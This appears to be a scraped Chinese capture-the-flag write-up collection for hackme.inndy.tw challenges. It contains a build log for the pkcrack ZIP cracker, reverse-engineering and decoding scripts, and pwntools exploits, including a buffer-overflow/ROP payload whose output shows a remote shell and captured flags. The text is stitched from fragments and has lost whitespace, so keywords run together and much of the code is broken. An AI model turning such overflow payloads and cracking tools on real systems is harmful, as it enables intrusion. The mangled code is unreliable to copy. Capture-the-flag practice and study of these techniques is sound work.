gcc -O6 -Wall -c -o crc.o crc.c crc.c:24:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: crc.c,v 1.3 1997/09/18 18:07:24 lucifer Release1_2_1 $"; ^~~~~ gcc -O6 -Wall -c -o mktmptbl.o mktmptbl.c mktmptbl.c: In function ‘preCompTemp’: mktmptbl.c:58:5: warning: implicit declaration of function ‘memset’ [-Wimplicit-function-declaration] memset(numEntries, 0, sizeof(numEntries)); ^~~~~~ mktmptbl.c:58:5: warning: incompatible implicit declaration of built-in function ‘memset’ mktmptbl.c:58:5: note: include ‘<string.h>’ or provide a declaration of ‘memset’ mktmptbl.c:47:1: +#include <string.h> mktmptbl.c:58:5: memset(numEntries, 0, sizeof(numEntries)); ^~~~~~ mktmptbl.c: In function ‘initMulTab’: mktmptbl.c:93:5: warning: incompatible implicit declaration of built-in function ‘memset’ memset(mTab2Counter, 0, sizeof(mTab2Counter)); ^~~~~~ mktmptbl.c:93:5: note: include ‘<string.h>’ or provide a declaration of ‘memset’ At top level: mktmptbl.c:43:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: mktmptbl.c,v 1.9 2002/11/02 15:12:06 lucifer Exp $"; ^~~~~ gcc -O6 -Wall -c -o main.o main.c main.c:131:6: warning: return type of ‘main’ is not ‘int’ [-Wmain] void main( int argc, char **argv ) ^~~~ main.c:70:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: main.c,v 1.15 2002/11/12 16:58:02 lucifer Exp $"; ^~~~~ main.c: In function ‘main’: main.c:265:2: warning: ‘plain’ may be used uninitialized in this function [-Wmaybe-uninitialized] close( plain ); ^~~~~~~~~~~~~~ main.c:267:2: warning: ‘crypt’ may be used uninitialized in this function [-Wmaybe-uninitialized] close( crypt ); ^~~~~~~~~~~~~~ gcc -O6 -Wall -c -o stage1.o stage1.c stage1.c:41:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: stage1.c,v 1.8 2002/01/31 16:27:08 lucifer Exp $"; ^~~~~ gcc -O6 -Wall -c -o keystuff.o keystuff.c keystuff.c:32:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: keystuff.c,v 1.5 2002/11/02 15:12:06 lucifer Exp $"; ^~~~~ gcc -O6 -Wall -c -o stage2.o stage2.c stage2.c:56:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: stage2.c,v 1.16 2003/01/03 15:18:18 lucifer Exp $"; ^~~~~ stage2.c: In function ‘recursion2’: stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized] if( !hadIt || oldValue != newKey ) ~~~~~~~~~^~~~~~~~~ stage2.c: In function ‘buildKey2Lists’: stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized] if( !hadIt || oldValue != newKey ) ~~~~~~~~~^~~~~~~~~ stage2.c:263:48: note: ‘oldValue’ was declared here uword key2j, key2iminus1, key2iminus2, newKey, oldValue; ^~~~~~~~ stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized] if( !hadIt || oldValue != newKey ) ~~~~~~~~~^~~~~~~~~ stage2.c:263:48: note: ‘oldValue’ was declared here uword key2j, key2iminus1, key2iminus2, newKey, oldValue; ^~~~~~~~ stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized] if( !hadIt || oldValue != newKey ) ~~~~~~~~~^~~~~~~~~ stage2.c:263:48: note: ‘oldValue’ was declared here uword key2j, key2iminus1, key2iminus2, newKey, oldValue; ^~~~~~~~ stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized] if( !hadIt || oldValue != newKey ) ~~~~~~~~~^~~~~~~~~ stage2.c:263:48: note: ‘oldValue’ was declared here uword key2j, key2iminus1, key2iminus2, newKey, oldValue; ^~~~~~~~ stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized] if( !hadIt || oldValue != newKey ) ~~~~~~~~~^~~~~~~~~ stage2.c:263:48: note: ‘oldValue’ was declared here uword key2j, key2iminus1, key2iminus2, newKey, oldValue; ^~~~~~~~ stage2.c:293:33: warning: ‘oldValue’ may be used uninitialized in this function [-Wmaybe-uninitialized] if( !hadIt || oldValue != newKey ) ~~~~~~~~~^~~~~~~~~ stage2.c:263:48: note: ‘oldValue’ was declared here uword key2j, key2iminus1, key2iminus2, newKey, oldValue; ^~~~~~~~ gcc -O6 -Wall -c -o stage3.o stage3.c stage3.c:51:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: stage3.c,v 1.10 2002/12/30 18:27:25 lucifer Exp $"; ^~~~~ gcc -O6 -Wall -c -o exfunc.o exfunc.c exfunc.c:48:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: exfunc.c,v 1.9 2003/01/05 14:40:37 lucifer Exp $"; ^~~~~ gcc -O6 -Wall -c -o readhead.o readhead.c readhead.c: In function ‘read_local’: readhead.c:318:21: warning: unused variable ‘sig’ [-Wunused-variable] unsigned long sig; ^~~ At top level: readhead.c:71:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: readhead.c,v 1.13 2003/01/05 14:40:37 lucifer Exp $"; ^~~~~ gcc -O6 -Wall -c -o writehead.o writehead.c writehead.c: In function ‘write_sig’: writehead.c:64:52: warning: format ‘%lx’ expects argument of type ‘long unsigned int’, but argument 3 has type ‘int’ [-Wformat=] fprintf( stderr, "Write unknown signature: 0x%08lx\n", sigType ); ~~~~^ ~~~~~~~ %08x At top level: writehead.c:33:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: writehead.c,v 1.4 2003/01/05 14:40:37 lucifer Exp $"; ^~~~~ gcc -O6 -Wall -c -o zipdecrypt.o zipdecrypt.c zipdecrypt.c: In function ‘zipdecrypt’: zipdecrypt.c:244:47: warning: comparison of constant ‘0’ with boolean expression is always false [-Wbool-compare] err = (!read_ddesc(infile, 0) < 0); ^ zipdecrypt.c:244:47: warning: logical not is only applied to the left hand side of comparison [-Wlogical-not-parentheses] zipdecrypt.c:244:24: note: add parentheses around left hand side expression to silence this warning err = (!read_ddesc(infile, 0) < 0); ^~~~~~~~~~~~~~~~~~~~~~ ( ) At top level: zipdecrypt.c:76:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: zipdecrypt.c,v 1.16 2003/01/05 14:40:37 lucifer Exp $"; ^~~~~ gcc -O6 -Wall -c -o debug.o debug.c debug.c:17:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: debug.c,v 1.2 2002/01/30 15:25:26 lucifer Exp $"; ^~~~~ gcc -o pkcrack -O6 -Wall crc.o mktmptbl.o main.o stage1.o keystuff.o stage2.o stage3.o exfunc.o readhead.o writehead.o zipdecrypt.o debug.o gcc -O6 -Wall -c -o zdmain.o zdmain.c zdmain.c:38:6: warning: return type of ‘main’ is not ‘int’ [-Wmain] void main( int argc, char **argv ) ^~~~ zdmain.c:28:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: zdmain.c,v 1.4 2002/12/28 17:01:42 lucifer Exp $"; ^~~~~ gcc -o zipdecrypt -O6 -Wall zdmain.o zipdecrypt.o crc.o keystuff.o writehead.o readhead.o gcc -O6 -Wall -c -o findkey.o findkey.c findkey.c:59:6: warning: return type of ‘main’ is not ‘int’ [-Wmain] void main( int argc, char **argv ) ^~~~ findkey.c:48:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: findkey.c,v 1.6 2002/11/02 15:12:06 lucifer Exp $"; ^~~~~ gcc -o findkey -O6 -Wall findkey.o crc.o stage3.o keystuff.o mktmptbl.o gcc -O6 -Wall -c -o extract.o extract.c extract.c:93:6: warning: return type of ‘main’ is not ‘int’ [-Wmain] void main(int argc, char *argv[]) ^~~~ extract.c:76:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: extract.c,v 1.12 2002/12/28 16:09:59 lucifer Exp $"; ^~~~~ gcc -o extract -O6 -Wall extract.o exfunc.o readhead.o gcc -O6 -Wall -c -o makekey.o makekey.c makekey.c: In function ‘usage’: makekey.c:24:5: warning: implicit declaration of function ‘exit’ [-Wimplicit-function-declaration] exit( 1 ); ^~~~ makekey.c:24:5: warning: incompatible implicit declaration of built-in function ‘exit’ makekey.c:24:5: note: include ‘<stdlib.h>’ or provide a declaration of ‘exit’ makekey.c:18:1: +#include <stdlib.h> makekey.c:24:5: exit( 1 ); ^~~~ makekey.c: At top level: makekey.c:27:6: warning: return type of ‘main’ is not ‘int’ [-Wmain] void main( int argc, char **argv ) ^~~~ makekey.c:19:13: warning: ‘RCSID’ defined but not used [-Wunused-variable] static char RCSID[]="$Id: makekey.c,v 1.1 1997/02/15 09:44:44 lucifer Release1_2_1 $"; ^~~~~ gcc -o makekey -O6 -Wall makekey.o crc.o keystuff.o
__import__('sys').setrecursionlimit(1048576) data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI' a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907L b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499L c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619L d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053L e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707L F = (a, b, c, d, e) m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011L g = 67051725181167609293818569777421162357707866659797065037224862389521658445401L z = [] for i, f in enumerate(F): n = pow(f, m, g) this_is = 'Y-Combinator' l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: 1if x < 2else f(x - 1) * x % n)(g % 27777) c = raw_input('Channenge #%d:' % i) if int(c) != l: print'Wrong~' exit() z.append(l)
__import__('sys').setrecursionlimit(1048576) data = 'Tt1PJbKTTP+nCqHvVwojv9K8AmPWx1q1UCC7yAxMRIpddAlH+oIHgTET7KHS1SIZshfo2DOu8dUt6wORBvNVBpUSsuHa0S78KG+SCQtB2lr4c1RPbMf0nR9SeSm1ptEY37y310SJMY28u6m4Y44qniGTi39ToHRTyxwsbHVuEjf480eeYAfSVvpWvS8Oy2bjvy0QMVEMSkyJ9p1QlGgyg3mUnNCpSb96VgCaUe4aFu4YbOnOV3HUgYcgXs7IcCELyUeUci7mN8HSvNc93sST6mKl5SDryngxuURkmqLB3azioL6MLWZTg69j6dflQIhr8RvOLNwRURYRKa1g7CKkmhN4RytXn4nyK2UM/SoR+ntja1scBJTUo0I31x1wBJpT4HjDN47FLQWIkRW+2wnB3eEwO5+uSiQpzA8VaH7VGRrlU/BFW4GqbaepzKPLdXQFBkNyBKzqzR/zA2GIrYbLIVScWJ19DqJCOyVLGeVIVXyzN1y327orYL2Ee3lRITnE3FouicRStaznIcw8xmxvukwVMRZIJ/vTu8Zc1WQIYEIFXMHozGuvzZgROZTyFihWNRCBBtoP9DJJALJb0pA1IKIb2zLh+pwGF40Y6y93D6weKejGPO+A0DBXH9vuLcCcCIvr/XPQhO3jLKCBN+h9unuJKW3dyWxyaVPdR2V+BTw10VXolo7yaTH1GbR4TiVSB308mBOMwfchwihEe7RdMXvmXgaGarKkJe0NLUCd8jwhYII+WymjxO/xOz/ppOvNfAyIQksW0sggRPQTlgXSZ7MIVA1h66sGNljJ833MoFzWof3azLabaz1OrAJFqYXBg/myDsy1tV6rULSQ82hVR/TNnSmBGvyEDJTrLSwHyj78NOrW4mUnlLGBnAgWfw6pW2lRK2jkNX9NM6DfLsRK8lwl85UP8CZSuNdcLmLwHTVMZGm/cNkZCtWRBlZqEggxGdIO44D+f4y6ysnAk5/QzEwjIuecxEOb0jyV6dFui8g0c3Oxlhzcli0X8ToJFyeQRv1N9nokYZ07tFlG6m18kCToKz1qiH1U7kljXa6SvdORur5dWYLQ//gwhwppe7JlNda/cEoh92h96wRZDv1dSK/f1vz+mUeUyUlFY0iMjfw5eBXWZppNZi3ZtJcq5kllM2ACVFcxQWI3azM3ArOcqjosoiPjNoDYgKh7w4k2Cd0kLYEHscz/njtJ1KEcwLtqs4nJ+gB2r4V9g03YgvY5E8JJtfJMKdaTedjtvEuif8FNlCK9DMnL1iLpWptJbdfO83Y7Y46XCqjZFBI5o9Qtb78nLhMEM5/YTaNOM/wE/oJl5HI/i1X6kW3PKCsVubRkOkc2xawl6NYdLETjLvmrGhhI' a = 138429774382724799266162638867586769792748493609302140496533867008095173455879947894779596310639574974753192434052788523153034589364467968354251594963074151184337695885797721664543377136576728391441971163150867881230659356864392306243566560400813331657921013491282868612767612765572674016169587707802180184907 b = 166973306488837616386657525560867472072892600582336170876582087259745204609621953127155704341986656998388476384268944991674622137321564169015892277394676111821625785660520124854949115848029992901570017003426516060587542151508457828993393269285811192061921777841414081024007246548176106270807755753959299347499 c = 139406975904616010993781070968929386959137770161716276206009304788138064464003872600873092175794194742278065731836036319691820923110824297438873852431436552084682500678960815829913952504299121961851611486307770895268480972697776808108762998982519628673363727353417882436601914441385329576073198101416778820619 d = 120247815040203971878156401336064195859617475109255488973983177090503841094270099798091750950310387020985631462241773194856928204176366565203099326711551950860726971729471331094591029476222036323301387584932169743858328653144427714133805588252752063520123349229781762269259290641902996030408389845608487018053 e = 104267926052681232399022097693567945566792104266393042997592419084595590842792587289837162127972340402399483206179123720857893336658554734721858861632513815134558092263747423069663471743032485002524258053046479965386191422139115548526476836214275044776929064607168983831792995196973781849976905066967868513707 F = (a, b, c, d, e) m = 8804961678093749244362737710317041066205860704668932527558424153061050650933657852195829452594083176433024286784373401822915616916582813941258471733233011 g = 67051725181167609293818569777421162357707866659797065037224862389521658445401 z = [] for i, f in enumerate(F): n = pow(f, m, g) this_is = 'Y-Combinator' l = (lambda f: (lambda x: x(x))(lambda y: f(lambda *args: y(y)(*args))))(lambda f: lambda x: 1if x < 2else f(x - 1) * x % n)(g % 27777) c = l if int(c) != l: print'Wrong~' exit() z.append(l)
static main() { auto i,fp; fp = fopen("d:\\dump","wb"); auto start = 0x601080; auto size = 0x601398 - 0x601080; for(i=start;i<start+size;i++) { fputc(Byte(i),fp); } fp.close(); }
点击run。相关数据写入d:\dump文件中。
python解密脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import binascii
with open('dump','rb')as f: data = f.read() num = [] for i in range(len(data)//4): d = data[4*i : 4*i+4][::-1] #b'\x00\x00C\xdf' d = str(binascii.hexlify(d))[2:-1] #000043df d = int(d,16) #17375 num.append(d)
for i,n in enumerate(num): if i<len(num)-1: a = num[i] b = num[i+1] print(chr(b-a),end='')
defdecode(dword, flag): print(dword,end=' ') import string char = string.printable #所有可打印字符 for i in char: for j in char: for k in char: s = flag + i + j + k crc32 = hex(binascii.crc32(s.encode()))[2:] #去掉0x开头 crc32 = crc32 if len(crc32)==8else'0'+crc32 if crc32 == dword: print(s) return s
with open('11.txt','rb')as f: data = f.read() flag = '' for i in range(len(data)//4): d = data[4*i : 4*i+4][::-1] #原来是小端，反转显示大端 d = str(binascii.hexlify(d))[2:-1] #去除b'' flag = decode(d, flag)
写这个脚本有好几个坑：
1、crc32加密：binascii.crc32()
在python2中，binascii.crc32(v) & 0xffffffff
& 0xffffffff可以由符号数得到无符号数
在python3中，binascii.crc32(s.encode())
字符串要encode()，由str型得到字节（bytes）型，否则出现报错TypeError: a bytes-like object is required, not ‘str‘
2、python3返回二进制数据 data 的十六进制表示形式：binascii.hexlify(d)
defisPrime(n): if n <= 1: returnFalse if n == 2: returnTrue if n % 2 == 0: returnFalse i = 3 while i * i <= n: if n % i == 0: returnFalse i += 2 returnTrue
a = BitVec('a', 32) b = BitVec('b', 32) s = Solver()
byte_410A80 = [0x1a,0x8b,0x24,0x28,0x58,0x37,0xac,0x52,0x53,0xb5,0x1e,0x3e,0x4a,0x25,0x4a,0x27,0x6b,0xb2,0x17,0x1,0x3,0x0b,0xf4,0x14,0,0xf1,0x61,0x70,0x0c,0x55,0x20,0x7a] print(len(byte_410A80)) pbData = [0x34,0xaf,0x0d,0x7,0x4b,0x17,0xf4,0x4d,0x1b,0xb9,0x39,0x76,0x5b,0x2,0x77,0x6f] for i in range(32, 128): flag = [] for j in range(len(byte_410A80)): flag.append((i ^ byte_410A80[j] ^ pbData[j & 0xf]) & 0x7f) print(i, ''.join(list(map(chr,flag))))
from pwn import * p = remote('hackme.inndy.tw', 7701) context.log_level = 'debug' p.sendlineafter("What's your name? ", 'yzy') p.sendline('1') p.sendlineafter('Index to edit: ', str(int(0x34+4)//4)) p.sendlineafter('How many? ', str(int('0x80485FB', 16))) p.sendlineafter('0 > exit', '0') p.interactive()
061 toooomuch
ROP
1 2 3 4 5
from pwn import * p = remote('hackme.inndy.tw', 7702) payload = 'a'*(0x18+4) + p32(0x804863B) p.sendlineafter('Give me your passcode: ', payload) p.interactive()
[root@izwdpnodbapihwz pwn]# vim toooomach.py [root@izwdpnodbapihwz pwn]# python t* [+] Opening connection to hackme.inndy.tw on port 7702: Done [*] Switching to interactive mode You are not allowed here! $ ls fake_flag flag run.sh toooomuch $ cat fake_flag FLAG{B1N@RY S3@RCH 15 F@5T T0 TH3 GU355 NUM133R G@M3...Vx1uck7CvuaCEew7} $ cat flag FLAG{Buffer overflow is pretty easy, right?...MbIfR7p9sbKbwPSp}
import re from numpy import int32 from pwn import *
def_eval(a, op, b): if op == '+': return int32(int(a) + int(b)) elif op == '-': return int32(int(a) - int(b)) elif op == '*': return int32(int(a) * int(b)) elif op == '/': return int32(float(int(a)) / int(b))
#context.log_level = 'debug' p = remote('hackme.inndy.tw', 7707) p.recvuntil("Send 'Yes I know' to start the game.") p.sendline('Yes I know')
datas = '' while datas.count('\n') < 10000: datas += p.recv()
formulas = datas.split('\n')
answer = [] for formula in formulas: if formula != '': params = formula.split(' ') a, op , b = params[0], params[1], params[2] answer.append(_eval(a,op,b)) answer = '\n'.join(list(map(str,answer))) p.send(answer) p.interactive()
ans = "" res = "" f = lambda x: int32(int(x)) for i in xrange(10000): n1, op, n2 = io.recvuntil("=", drop = True).strip().split(' ') # print n1, op, n2 io.recvline()
if op == '+': # print n1, op, n2 ans = str(f(n1) + f(n2)) if op == '-': ans = str(f(n1) - f(n2)) if op == '*': ans = str(f(n1) * f(n2)) if op == '/': ans = str(int(float(n1) / int(n2)))
res += (ans + " ")
# print res io.sendline(res) io.interactive() io.close()
知识点：
lambda将int32(int(x))封装，简洁
recvuntil("=", drop = True).strip().split(' ')，接收到等号，且丢弃等号（drop=false时，接受到等号且不丢弃等号）
@cython.cdivision(True) def_eval(int a, op, int b): if op == b'+': return a + b elif op == b'-': return a - b elif op == b'*': return a * b elif op == b'/': return a / b
io = remote('hackme.inndy.tw', 7707) io.recvuntil('start the game.\n') io.sendline('Yes I know')
exps = b''
while exps.count(b'\n') != 10000: exps += io.recv() exps = exps.strip().split(b'\n')
ans = '' for i in range(len(exps)): exp = exps[i].split() a, b = int(exp[0]), int(exp[2]) op = exp[1] ans += f'{_eval(a, op, b)}\n' io.send(ans) io.interactive() io.close()
知识点：
cython（TODO）
while exps.count(b'\n') != 10000:根据count(‘\n’)的数量来判断是否达到10000
s = '''EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}''' for i in s: if'A' <= i <= 'Z': n = (ord(i)-65+1)%26+65 elif'a' <= i <= 'z': n = (ord(i)-97+1)%26+97 else: n = ord(i) print(chr(n),end='')
with open('xor','rb')as f: b = f.read() key = 'hackmepls' flag = '' for i,c in enumerate(b): flag += chr(c ^ ord(key[i%9])) with open('flag.txt','w')as f: f.write(flag)
